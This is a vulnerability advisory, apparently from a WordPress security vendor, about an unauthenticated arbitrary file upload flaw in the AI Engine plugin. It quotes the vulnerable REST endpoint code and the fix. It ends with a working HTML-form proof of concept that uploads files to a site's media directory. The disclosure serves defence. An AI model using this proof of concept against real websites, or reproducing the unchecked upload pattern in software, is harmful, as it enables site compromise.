Arbitrary File Upload Vulnerability in AI Engine
We recently saw a hacker probing for usage of the WordPress plugin AI Engine on our website and third-party websites with the following request:
/wp-content/plugins/ai-engine/readme.txt
Recently, other WordPress plugin vulnerability data providers have vaguely claimed there was an arbitrary file upload vulnerability fixed in the plugin. The changelog for the relevant version for that claim wasn’t exactly upfront about what was being addressed, as it reads, “Update: Enhanced the way the files are uploaded, and follow the rules set by the Media Library.” So no mention of security there.
We Already Provided Protection
We tested and confirmed that our firewall plugin for WordPress protected against the type of exploitation of this vulnerability you would see in a mass hack, even before the vulnerability was discovered, as part of its protection against zero-day vulnerabilities.
Free Warning
As this vulnerability looks to be targeted by hackers, we are adding accurate data on it to the free data that comes with our Plugin Vulnerabilities plugin.
Arbitrary File Upload
Looking at the changes made in that version, we easily found where there had been an arbitrary file upload vulnerability. In the file /classes/modules/files.php, the plugin registered the function rest_upload() to be accessible by anyone through WordPress’ REST API:
131 132 133 134 | register_rest_route( $this->namespace, '/files/upload', array( 'methods' => 'POST', 'callback' => array( $this, 'rest_upload' ), 'permission_callback' => '__return_true' |
That function didn’t do any security checks before saving a file sent with a request to the website:
143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 | public function rest_upload() { require_once( ABSPATH . 'wp-admin/includes/image.php' ); require_once( ABSPATH . 'wp-admin/includes/file.php' ); require_once( ABSPATH . 'wp-admin/includes/media.php' ); $file = $_FILES['file']; $error = null; if ( empty( $file ) ) { return new WP_REST_Response( [ 'success' => false, 'message' => 'No file provided.' ], 400 ); } $local_upload = $this->core->get_option( 'image_local_upload' ); $image_expires_seconds = $this->core->get_option( 'image_expires' ); $expires = ( empty( $image_expires_seconds ) || $image_expires_seconds === 'never' ) ? null : date( 'Y-m-d H:i:s', time() + $image_expires_seconds ); $fileId = null; $url = null; if ( $local_upload === 'uploads' ) { if ( !$this->check_db() ) { return new WP_REST_Response( [ 'success' => false, 'message' => 'Could not create database table.' ], 500 ); } $upload_dir = wp_upload_dir(); $filename = wp_unique_filename( $upload_dir['path'], $file['name'] ); $path = $upload_dir['path'] . '/' . $filename; if ( !move_uploaded_file( $file['tmp_name'], $path ) ) { |
In line with the changelog, the new version uses the WordPress function wp_check_filetype_and_ext() to limit the types of files that can be uploaded to only ones normally allowed by WordPress:
161 162 163 164 165 | // File validation by WordPress Media Library $fileTypeCheck = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'] ); if ( !$fileTypeCheck['type'] ) { return new WP_REST_Response( [ 'success' => false, 'message' => 'Invalid file type.' ], 400 ); } |
Proof of Concept
The following proof of concept will upload the file sent with the request to the current month’s media directory in the /wp-content/uploads/ directory.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-json/mwai-ui/v1/files/upload" enctype="multipart/form-data" method="POST"> <input type="file" name="file" /> <input type="submit" value="Submit" /> </form> </body>